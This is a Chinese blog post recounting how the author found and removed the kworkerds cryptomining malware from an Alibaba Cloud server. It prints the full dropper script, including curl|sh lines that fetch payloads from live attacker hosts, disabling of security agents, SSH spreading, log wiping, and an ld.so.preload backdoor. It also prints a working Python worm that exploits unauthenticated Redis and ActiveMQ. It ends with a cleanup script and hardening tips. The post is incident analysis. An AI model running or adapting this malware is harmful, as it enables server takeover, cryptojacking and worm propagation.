记一次阿里云被植入挖矿木马事件

很多朋友都在使用阿里云,但遇到过阿里云被植入木马的情况么?小编今天就遇到了。阿里云有自己的安全机制,一般情况下不会有什么问题,那木马又是被怎么植入的呢?今天为您解析。

起因

今天,同事说我负责的模块在阿里云上不工作了,我赶忙远程登录查看。

服务器的症状

1.敲命令的时候,终端的字符回传很快,但是命令的响应时间较长;
2.服务器内存32GB,剩余200MB;
3.CPU跑到了99%;
4.我负责的模块之前一直工作正常,稳定性好,没修改过配置,但现在不能工作;
5.查看我负责的模块配置正常、运行正常,但部分服务出错;
6.top命令未发现有高耗CPU的进程,但是有大量的kworkerds进程。

定位分析

病症1、3、6说明是阿里云服务器已经产生了异常。
根据病症4、5一步步梳理流程,核对日志,定位问题,最终发现,redis可以正常提供服务,但程序无法将数据刷新到redis,导致分别负责读写的两个模块数据长时间不能同步,重启redis后服务正常。但问题需要进一步分析。

查找木马

服务器是与别人共用的,其他的服务,我们不知道是否有用。但服务器卡顿,实在影响调试效率,搜索了一下kworkerds,才知道是个挖矿的木马程序。

查看木马进程数

[[email protected] ~] ps -ef | grep -v grep |grep kworkerds | wc -l
385

kill掉所有木马进程

[[email protected] ~] ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

查看开机启动项和任务

[[email protected] ~]# systemctl list-unit-files
(没发现问题,就不贴进来了)
[[email protected] ~]# cat /etc/rc.local
(没发现问题,就不贴进来了)
[[email protected] ~]# cat /etc/crontab
...
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
0 1 * * * root /usr/local/bin/dns
[[email protected] ~] crontab -l
*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh

“/etc/crontab”里的内容看起来很正常,但是“crontab -l”中显示的内容有些来路不明。
于是下载代码查看(心术不正的同学看到这里请及时点击退出,以免走上违法犯罪的道路)。

[[email protected] ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ik
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
}

function d() {
    ARCH=$(uname -i)
    if [ "$ARCH" == "x86_64" ]; then
        (curl -fsSL --connect-timeout 120 https://master.clminer.ru/1/1551434761x2728329064.jpg -o /tmp/kworkerds||wget https://master.clminer.ru/1/1551434761x2728329064.jpg -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
        /tmp/kworkerds
    else
        mkdir -p /var/tmp
        chmod 1777 /var/tmp
        (curl -fsSL --connect-timeout 120 https://master.clminer.ru/2/1551434778x2728329032.jpg -o /var/tmp/kworkerds||wget https://master.clminer.ru/2/1551434778x2728329032.jpg -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
        /var/tmp/kworkerds
    fi
}

function e() {
    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovLzE4NS4xMC42OC45MS9yYXcvOThzZGY2OTEnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBleGVjKHBhZ2UpCmV4Y2VwdDoKICAgIHBhc3M='))" >/dev/null 2>&1 &
    touch /tmp/.38t9guft0055d0565u444gtjr0
}

function c() {
    chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/2/2 -o /usr/local/bin/dns||wget http://185.10.68.91/2/2 -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
    echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
    echo -e "*/10 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
    echo -e "*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.hourly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
    mkdir -p /etc/cron.daily
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.daily/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
    mkdir -p /etc/cron.monthly
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.monthly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
    mkdir -p /usr/local/lib/
    if [ ! -f "/usr/local/lib/libntpd.so" ]; then
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        elif [ "$ARCH" == "i386" ]; then
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        else
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        fi
    fi
    chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then   
          for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh' & done
    fi
    touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    touch -acmr /bin/sh /etc/cron.daily/oanacroner
    touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

function a() {
    if ps aux | grep -i '[a]liyun'; then
        wget http://update.aegis.aliyun.com/download/uninstall.sh
        chmod +x uninstall.sh
        ./uninstall.sh
        wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
        chmod +x quartz_uninstall.sh
        ./quartz_uninstall.sh
        rm -f uninstall.sh     quartz_uninstall.sh
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
        rm -rf /usr/local/aegis*;
    elif ps aux | grep -i '[y]unjing'; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    touch /tmp/.a
}

mkdir -p /tmp
chmod 1777 /tmp
if [ ! -f "/tmp/.a" ]; then
    a
fi
b
c
port=$(netstat -an | grep :56415 | wc -l)
if [ ${port} -eq 0 ];then
    d
fi
if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
    e
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

大家也可以自行下载查看,记住,下载的时候要把"|sh"去掉,当心玩火自焚。

分析木马

木马脚本写得还是不错的,风格整齐,逻辑严谨。出色地完成了以下功能:
1.删除阿里云云盾客户端和阿里云监控程序;
2.停止、删除主机已经存在的其他挖矿程序;
3.下载挖矿程序和配置文件并执行;
4.约束木马程序,防止触发服务器性能监测工具告警;
5.设置任务计划,保持更新,持续感染主机;
6.通过本机感染其他主机;
7.清空操作日志,篡改文件修改时间,隐藏自己的访问踪迹。
木马中同时用了shell和python两种脚本,脚本逐层嵌套,对于一些敏感的代码,使用了base64进行加密,针对不同的系统平台有不同的处理,同时锁定了自己修改的文件,防止被别的程序随意修改,提供远程服务的IP地址来自非洲东部的塞舌尔共和国。
记一次阿里云被植入挖矿木马事件
记一次阿里云被植入挖矿木马事件

木马是如何传播的

传播方式

木马传播方式有三种,如下:
1.activeMQ
2.redis
3.ssh的免密码登录

传播思路

参考代码如下:

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib
import os

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 100
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect_ex((self.host, 8161))
            s.send('google spider\r\n')
            results = s.recv(1)
            if str(results):
                data = "*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n##"
                data2 = "*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n##"
                conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                conn.request(method='PUT', url='/fileserver/go.txt', body=data)
                conn.request(method='PUT', url='/fileserver/goa.txt', body=data2)
                conn.request(method='PUT', url='/fileserver/gob.txt', body=data2)
                result = conn.getresponse()
                conn.close()
                if result.status == 204:
                    headers = {'Destination': 'file:///etc/cron.d/root'}
                    headers2 = {'Destination': 'file:///var/spool/cron/root'}
                    headers3 = {'Destination': 'file:///var/spool/cron/crontabs/root'}
                    conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                    conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers)
                    conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2)
                    conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3)
                    conn.close()
            s.close()
        except Exception:
            pass
        try:
            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.settimeout(2)
            x = s2.connect_ex((self.host, 6379))
            if x == 0:
                s2.send('config set stop-writes-on-bgsave-error no\r\n')
                s2.send('flushall\r\n')
                s2.send('config set dbfilename root\r\n')
                s2.send('set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n')
                s2.send('set NysX7D "\\t\\n*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n')
                s2.send('config set dir /etc/cron.d\r\n')
                s2.send('save\r\n')
                s2.send('config set dir /var/spool/cron\r\n')
                s2.send('save\r\n')
                s2.send('config set dir /var/spool/cron/crontabs\r\n')
                s2.send('save\r\n')
                s2.send('flushall\r\n')
                s2.send('config set stop-writes-on-bgsave-error yes\r\n')
            s2.close()
        except Exception:
            pass
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

    def newthread(host):
        scanner.lck.acquire()
        sc = scanner(host)
        scanner.tlist.append(sc)
        scanner.lck.release()
        sc.start()

    newthread = staticmethod(newthread)

def get_ip_list():
    try:
        url = 'ident.me'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip1 = result.read()
        ips1 = findall(r'\d+.\d+.', ip1)[0]
        for u in range(0, 256):
            ip_list1 = (ips1 + (str(u)))
            for g in range(1, 256):
                IP_LIST.append(ip_list1 + '.' + (str(g)))
    except Exception:
        ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
        ips2 = findall(r'\d+.\d+.', ip2)[0]
        for i in range(0, 255):
            ip_list2 = (ips2 + (str(i)))
            for g in range(1, 255):
                IP_LIST.append(ip_list2 + '.' + (str(g)))
        pass

def runPortscan():
    get_ip_list()
    for host in IP_LIST:
        scanner.lck.acquire()
        if len(scanner.tlist) >= scanner.maxthreads:
            scanner.lck.release()
            scanner.evnt.wait()
        else:
            scanner.lck.release()
        scanner.newthread(host)
    for t in scanner.tlist:
        t.join()

if __name__ == "__main__":
    runPortscan()

木马感染的步骤如下:
1.通过扫描"xxx.xxx.0.0/16"网段内的所有IP的6379和8186两个端口;
2.如果可以连接,那么以key-value的形式写入数据;
1’set SwE3SC “\t\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n\t”\r\n’
3.将该条数据以文件的形式保存到定时任务的文件目录,如/var/spool/cron/root等;
4.下个定时周期到来时,服务器自动下载远程脚本并执行;
5.遍历该主机可以免密码登录的其他主机,远程连接并执行代码。
远程脚本执行时,会重新修改定时任务等文件,保证可以持续感染主机,同时也隐藏了第一次感染的痕迹。之后每个定时周期到来时,都会重复4、5两个步骤。

排查漏洞

服务器中没有activeMQ,没有.ssh文件夹。小编也根据代码流程,感染了一下自己的redis,但是并没有达到预期的结果。
本人用的redis文件保存的时候是二进制的,不是字符串,根本无法被定时任务执行,但是修改感染脚本,可以完成黑客设置的既定思路。
结合阿里云之前修改过密码的情况,本次感染可能有两种来源:
1.以前发现了被感染,但木马没有被清理干净;
2.木马作者会定期修改自己的代码来感染不同版本的redis,甚至是去利用其它软件的漏洞。
另外一个代码变动的证据就是netstat命令的二进制文件遭到篡改,这显然是为了应对运维人员排查异常网络连接而设计的,但本次检查木马代码时,并没有发现与netstat命令有关的操作。

清理木马

清理过程分两步:删除木马文件和修补当前漏洞。

删除木马文件

根据木马的代码,写了清理脚本,如下:

#!/bin/bash
ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
echo "" > /usr/local/bin/dns
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf  /etc/cron.monthly/oanacroner

sed -i '/cron.hourly/d' /etc/crontab
sed -i '/cron.daily/d' /etc/crontab
sed -i '/usr\/local\/bin\/dns/d' /etc/crontab

#sed -i '$d' /etc/ld.so.preload
rm -rf /usr/local/lib/libntpd.so

#/tmp/.a可以不删,木马是通过此文件判断是否要卸载阿里云盾
#rm -rf /tmp/.a
rm -rf /bin/kworkerds
rm -rf /tmp/kworkerds
rm -rf /usr/sbin/kworkerds
rm -rf /etc/init.d/kworker
chkconfig --del kworker

脚本仅供大家参考,在执行之前还是要对照一下具体的环境。
除此之外,还需要排查一下系统中是否有异常用户,异常的服务和异常的监听端口。毕竟服务器被入侵过,绝不能等闲视之。

修补漏洞

以redis为例,修补漏洞有很多种方法:
1.限制端口,使其对外不可连接;
2.不要使用root运行reids;
3.及时更新软件,修补漏洞;
4.修改默认端口;
6.对重要命令重命名;
。。。
关于这个问题,阿里云也有详细的安全加固方案:
https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC

编者的话

黑客一词听起来感觉酷酷的,因为世界上确有一批崇尚用技术实现“开放、自由、真实、平等、美好生活”的人,他们离经叛道,闪闪发光。然而,通常情况下非法获取利益的黑客仅仅是一个小偷而已,喜欢的是不劳而获,而不是技术本身,技术水平也只能是一般。

希望大家从技术交流,防范风险的角度看待文中提供的木马资料,不要走上违法犯罪的道路。从另一个角度讲,信息安全无小事,文中的木马仅仅是挖矿,事实上,该漏洞足以让黑客在你的服务器上做任何事,大家万万不可掉以轻心。

具体的代码分析我就不写了,代码不多,没什么好分析的,画了一张图,如果懒得看源代码的同学土豪可以自己下载看一下:(本来想免积分的,可惜不能修改)
https://download.****.net/download/wangzekun_wolf/11190938

记一次阿里云被植入挖矿木马事件


关注麻辣软硬件,获取更多有料的软硬件知识
记一次阿里云被植入挖矿木马事件